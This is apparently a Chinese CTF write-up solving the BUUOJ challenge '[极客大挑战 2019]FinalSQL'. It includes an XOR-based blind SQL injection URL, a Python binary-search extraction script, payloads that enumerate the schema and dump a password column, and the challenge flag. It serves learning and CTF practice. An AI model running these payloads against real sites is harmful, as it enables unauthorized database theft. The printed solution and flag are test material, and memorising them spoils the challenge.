第五十八题——[极客大挑战 2019]FinalSQL

题目地址:https://buuoj.cn/challenges

解题思路

第一步:进入题目,看到sql测试框,以及1,2,3,4,5超链接

在这里插入图片描述

第二步:测试漏洞点

点击1超链接后出现NO! Not this! Click others~~~字样,在URL地址栏添加^2后发现注入点
在这里插入图片描述

第三步:获取flag

  1. 由于^一般适用于盲注猜测ASCII码值,所以这里使用盲注获取flag
  2. 手动测试回显字样:输入http://d9cc6ff9-ac2f-4193-985d-dce132ad08bd.node3.buuoj.cn/search.php?id=1^(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),1,1))>1)^1发现出现NO! Not this! Click others~~~字样,说明猜测成功会出现这样的语句
  3. 使用python脚本获取表名
import re
import requests
import string

url = "http://55e943c2-e940-4f03-baf2-d0401c02f939.node3.buuoj.cn/search.php"
flag = ''

def payload(i, j):
    sql = "1^(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1" % (i, j)
    data = {"id": sql}
    r = requests.get(url, params=data)
    # print (r.url)
    if "Click" in r.text:
        res = 1
    else:
        res = 0
    return res


def exp():
    global flag
    for i in range(1, 10000):
        print(i, ':')
        low = 31
        high = 127
        while low <= high:
            mid = (low + high) // 2
            res = payload(i, mid)
            if res:
                low = mid + 1
            else:
                high = mid - 1
        f = int((low + high + 1)) // 2
        if (f == 127 or f == 31):
            break
        # print (f)
        flag += chr(f)
        print(flag)


exp()
print('flag=', flag)
结果:
information_schema,mysql,performance_schema,test,geek
  1. 使用geek数据库获取表名,修改代码为:sql = "1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))>%d)^1"%(i,j),结果:F1naI1y,Flaaaaag
  2. 使用F1nal1y表获取列名:sql = "1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1"%(i,j)结果:id,username,password
  3. 获取password里面的flag:sql = "1^(ord(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" % (i, j),结果:cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_really_need_a_grilfriend,flag{ba273fbb-d4d3-4d3b-8477-d334b538ed79}

技术要点:

通过substr(xxx,a,1),将xxx获取到的信息从第a个一个一个拆分,通过ord获取到ascii码值,在对其进行比较,通过2分查找法以及回显的文本确定其具体ascii

  • 0
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值